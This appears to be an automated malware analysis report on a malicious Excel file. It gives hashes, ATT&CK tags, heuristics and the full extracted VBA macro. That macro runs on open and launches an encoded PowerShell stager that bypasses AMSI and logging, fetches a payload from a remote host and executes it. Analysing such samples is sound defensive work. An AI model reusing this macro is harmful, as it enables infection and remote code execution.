Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ed842e0b8b8c45c9…

MALICIOUS

Office (OOXML)

21.1 KB Created: 2021-06-20 02:42:11 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-06-30
MD5: 431c5bbcb28dc7c8747038031d6f67c5 SHA-1: 94143e855899c935ff5e47b06b5f9b0d85b4c707 SHA-256: ed842e0b8b8c45c9376a1ba4ce55e4ccd06f461ea1fca2dbc947a9ebdba7c9f2
228 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains an Auto_Open VBA macro that utilizes WScript.Shell to execute a PowerShell command. This PowerShell command is heavily obfuscated but appears to be designed to manipulate system settings related to automatic execution and logging, potentially to evade detection or establish persistence. The presence of these critical heuristics and the obfuscated script strongly indicate malicious intent.

Heuristics 6

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
            eY = eY + "ACsAJABLACkAKQB8AEkARQBYAA=="
        Set asd = CreateObject("WScript.Shell")
        asd.Run (eY)
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
            Dim eY As String
        eY = "powershell -noP -sta -w 1 -enc  SQBmACgAJABQAFMAVg"
        eY = eY + "BlAFIAcwBpAE8AbgBUAEEAQgBsAGUALgBQAFMAVgBlAHIAUwBp"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
            eY = eY + "ACsAJABLACkAKQB8AEkARQBYAA=="
        Set asd = CreateObject("WScript.Shell")
        asd.Run (eY)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "Module1"
Sub Auto_Open()
        jE

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 8213 bytes
SHA-256: 218dde49e5c00c1f1e05aa6d42cdb20261fe03babac9edf0cc0a38bdd4b70a03
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Auto_Open()
        jE
End Sub

Public Function jE() As Variant
        Dim eY As String
        eY = "powershell -noP -sta -w 1 -enc  SQBmACgAJABQAFMAVg"
        eY = eY + "BlAFIAcwBpAE8AbgBUAEEAQgBsAGUALgBQAFMAVgBlAHIAUwBp"
        eY = eY + "AG8ATgAuAE0AYQBqAE8AUgAgAC0ARwBFACAAMwApAHsAJABDAD"
        eY = eY + "MAMgAyAD0AWwByAEUARgBdAC4AQQBzAFMARQBtAEIATABZAC4A"
        eY = eY + "RwBlAHQAVAB5AFAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbg"
        eY = eY + "BhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAu"
        eY = eY + "AFUAdABpAGwAcwAnACkALgAiAEcAZQBUAEYASQBFAGAAbABEAC"
        eY = eY + "IAKAAnAGMAYQBjAGgAZQBkAEcAcgBvAHUAcABQAG8AbABpAGMA"
        eY = eY + "eQBTAGUAdAB0AGkAbgBnAHMAJwAsACcATgAnACsAJwBvAG4AUA"
        eY = eY + "B1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwBJAEYAKAAk"
        eY = eY + "AGMAMwAyADIAKQB7ACQAYwA3ADQAMgA9ACQAYwAzADIAMgAuAE"
        eY = eY + "cARQBUAFYAQQBMAHUAZQAoACQATgB1AGwAbAApADsASQBGACgA"
        eY = eY + "JABjADcANAAyAFsAJwBTAGMAcgBpAHAAdABCACcAKwAnAGwAbw"
        eY = eY + "BjAGsATABvAGcAZwBpAG4AZwAnAF0AKQB7ACQAYwA3ADQAMgBb"
        eY = eY + "ACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAG"
        eY = eY + "cAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAA"
        eY = eY + "dABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQ"
        eY = eY + "AwADsAJABDADcANAAyAFsAJwBTAGMAcgBpAHAAdABCACcAKwAn"
        eY = eY + "AGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0AWwAnAEUAbgBhAG"
        eY = eY + "IAbABlAFMAYwByAGkAcAB0AEIAbABvAGMAawBJAG4AdgBvAGMA"
        eY = eY + "YQB0AGkAbwBuAEwAbwBnAGcAaQBuAGcAJwBdAD0AMAB9ACQAVg"
        eY = eY + "BhAGwAPQBbAEMATwBsAEwARQBDAHQASQBPAE4AUwAuAEcARQBu"
        eY = eY + "AEUAcgBpAGMALgBEAEkAYwBUAGkATwBuAEEAUgBZAFsAcwB0AH"
        eY = eY + "IASQBOAGcALABTAHkAcwB0AGUATQAuAE8AQgBqAGUAYwBUAF0A"
        eY = eY + "XQA6ADoAbgBlAHcAKAApADsAJAB2AGEATAAuAEEAZABEACgAJw"
        eY = eY + "BFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBj"
        eY = eY + "AGsATABvAGcAZwBpAG4AZwAnACwAMAApADsAJABWAEEATAAuAE"
        eY = eY + "EARABEACgAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCAGwA"
        eY = eY + "bwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8AZwBnAGkAbg"
        eY = eY + "BnACcALAAwACkAOwAkAGMANwA0ADIAWwAnAEgASwBFAFkAXwBM"
        eY = eY + "AE8AQwBBAEwAXwBNAEEAQwBIAEkATgBFAFwAUwBvAGYAdAB3AG"
        eY = eY + "EAcgBlAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMA"
        eY = eY + "bwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAUABvAHcAZQByAFMAaA"
        eY = eY + "BlAGwAbABcAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBM"
        eY = eY + "AG8AZwBnAGkAbgBnACcAXQA9ACQAVgBBAGwAfQBFAGwAUwBFAH"
        eY = eY + "sAWwBTAGMAUgBJAFAAdABCAEwATwBjAEsAXQAuACIARwBFAHQA"
        eY = eY + "RgBpAEUAYABsAGQAIgAoACcAcwBpAGcAbgBhAHQAdQByAGUAcw"
        eY = eY + "AnACwAJwBOACcAKwAnAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABh"
        eY = eY + "AHQAaQBjACcAKQAuAFMAZQBUAFYAYQBsAFUARQAoACQAbgB1AG"
        eY = eY + "wATAAsACgATgBlAHcALQBPAEIAagBFAEMAdAAgAEMATwBMAEwA"
        eY = eY + "ZQBjAHQAaQBPAE4AcwAuAEcARQBuAEUAcgBJAEMALgBIAGEAUw"
        eY = eY + "BIAFMAZQBUAFsAcwB0AFIASQBuAEcAXQApACkAfQAkAFIAZQBG"
        eY = eY + "AD0AWwBSAEUAZgBdAC4AQQBzAHMAZQBNAGIATABZAC4ARwBlAH"
        eY = eY + "QAVABZAFAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcA"
        eY = eY + "ZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQ"
        eY = eY + "BzAGkAJwArACcAVQB0AGkAbABzACcAKQA7ACQAUgBFAEYALgBH"
        eY = eY + "AGUAdABGAGkARQBMAGQAKAAnAGEAbQBzAGkASQBuAGkAdABGAC"
        eY = eY + "cAKwAnAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkA"
        eY = eY + "YwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQBUAFYAYQBsAHUARQ"
        eY = eY + "AoACQATgB1AEwATAAsACQAdABSAHUAZQApADsAfQA7AFsAUwB5"
        eY = eY + "AHMAVABFAE0ALgBOAGUAdAAuAFMARQBSAHYAaQBDAGUAUABvAE"
        eY = eY + "kAbgB0AE0AYQBOAEEARwBFAFIAXQA6ADoARQB4AFAAZQBjAHQA"
        eY = eY + "MQAwADAAQwBPAE4AVABpAG4AdQBFAD0AMAA7ACQANQA3ADkAMw"
        eY = eY + "A9AE4AZQBXAC0ATwBCAEoARQBDAHQAIABTAFkAUwB0AGUAbQAu"
        eY = eY + "AE4ARQB0AC4AVwBlAGIAQwBsAEkAZQBOAHQAOwAkAHUAPQAnAE"
        eY = eY + "0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcA"
        eY = eY + "cwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcg"
        eY = eY + "BpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAAp"
        eY = eY + "ACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJABzAGUAcgA9AC"
        eY = eY + "QAKABbAFQARQB4AFQALgBFAE4AYwBPAGQAaQBuAEcAXQA6ADoA"
        eY = eY + "VQBuAGkAYwBvAGQARQAuAEcARQBUAFMAVAByAEkAbgBnACgAWw"
        eY = eY + "BDAG8ATgBWAEUAcgB0AF0AOgA6AEYAUgBPAE0AQgBBAHMARQA2"
        eY = eY + "ADQAUwB0AHIAaQBuAEcAKAAnAGEAQQBCADAAQQBIAFEAQQBjAE"
        eY = eY + "EAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAawBBAE0AZwBBAHUA"
        eY = eY + "QQBEAEUAQQBOAGcAQQA0AEEAQwA0AEEATQBBAEEAdQBBAEQARQ"
        eY = eY + "BBAE0AQQBBADAAQQBEAG8AQQBPAEEAQQA0AEEARABnAEEATwBB"
        eY = eY + "AEEAPQAnACkAKQApADsAJAB0AD0AJwAvAG4AZQB3AHMALgBwAG"
        eY = eY + "gAcAAnADsAJAA1ADcAOQAzAC4ASABlAEEARABFAFIAUwAuAEEA"
        eY = eY + "ZABEACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAkAHUAKQ"
        eY = eY + "A7ACQANQA3ADkAMwAuAFAAcgBvAFgAeQA9AFsAUwBZAHMAVABF"
        eY = eY + "AE0ALgBOAGUAVAAuAFcAZQBiAFIAZQBRAHUAZQBzAHQAXQA6AD"
        eY = eY + "oARABFAEYAYQB1AGwAdABXAEUAYgBQAFIAbwB4AFkAOwAkADUA"
        eY = eY + "NwA5ADMALgBQAFIAbwB4AFkALgBDAFIAZQBEAGUATgB0AGkAYQ"
        eY = eY + "BMAHMAIAA9ACAAWwBTAHkAcwBUAEUATQAuAE4ARQB0AC4AQwBS"
        eY = eY + "AEUAZABFAG4AVABJAEEAbABDAEEAYwBIAEUAXQA6ADoARABFAG"
        eY = eY + "YAQQBVAGwAVABOAEUAdABXAG8AUgBrAEMAcgBlAGQAZQBOAFQA"
        eY = eY + "SQBhAGwAcwA7ACQAUwBjAHIAaQBwAHQAOgBQAHIAbwB4AHkAIA"
        eY = eY + "A9ACAAJAA1ADcAOQAzAC4AUAByAG8AeAB5ADsAJABLAD0AWwBT"
        eY = eY + "AHkAUwB0AEUAbQAuAFQAZQBYAHQALgBFAE4AQwBvAEQAaQBuAG"
        eY = eY + "cAXQA6ADoAQQBTAEMASQBJAC4ARwBFAHQAQgBZAFQARQBTACgA"
        eY = eY + "JwBGADQAQgBZAHIAOwBiAHEAZQBXADMAXQBPAC8AWgBRAF8Aag"
        eY = eY + "BzAEkANwB9ADwARwBwAHoAbQBOAHkAewBVAG8AJwApADsAJABS"
        eY = eY + "AD0AewAkAEQALAAkAEsAPQAkAEEAUgBnAFMAOwAkAFMAPQAwAC"
        eY = eY + "4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7ACQASgA9ACgA"
        eY = eY + "JABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALg"
        eY = eY + "BDAE8AdQBOAHQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAs"
        eY = eY + "ACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF"
        eY = eY + "8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUA"
        eY = eY + "MgA1ADYAOwAkAEgAPQAoACQASAArACQAUwBbACQASQBdACkAJQ"
        eY = eY + "AyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAk"
        eY = eY + "AFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJABfAC0AYgBYAE"
        eY = eY + "8AUgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0A"
        eY = eY + "KQAlADIANQA2AF0AfQB9ADsAJAA1ADcAOQAzAC4ASABlAEEAZA"
        eY = eY + "BFAHIAcwAuAEEAZABEACgAIgBDAG8AbwBrAGkAZQAiACwAIgBl"
        eY = eY + "AFMATAB5AHcAaQBzAE4AdABIAE4APQA2AHgAUgBBAGoATgBvAG"
        eY = eY + "4AYwBOAGkAYwBhADUAOQByAGYAMwBBAGwAbQBzAE8AcwAxAFYA"
        eY = eY + "UQA9ACIAKQA7ACQARABhAHQAQQA9ACQANQA3ADkAMwAuAEQAbw"
        eY = eY + "B3AE4AbABvAGEARABEAEEAVABhACgAJABTAGUAUgArACQAdAAp"
        eY = eY + "ADsAJABJAHYAPQAkAEQAQQB0AGEAWwAwAC4ALgAzAF0AOwAkAG"
        eY = eY + "QAQQBUAEEAPQAkAGQAYQB0AGEAWwA0AC4ALgAkAGQAQQBUAGEA"
        eY = eY + "LgBMAEUATgBHAFQAaABdADsALQBKAE8AaQBOAFsAQwBIAGEAcg"
        eY = eY + "BbAF0AXQAoACYAIAAkAFIAIAAkAGQAYQB0AGEAIAAoACQASQBW"
        eY = eY + "ACsAJABLACkAKQB8AEkARQBYAA=="
        Set asd = CreateObject("WScript.Shell")
        asd.Run (eY)
End Function


Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 26112 bytes
SHA-256: aa397de00289f18e96ba18b5b254dd5c1349eeaa2ad4892a7a26b02228ff398c

Open this report in the interactive analyzer, or submit your own file for analysis.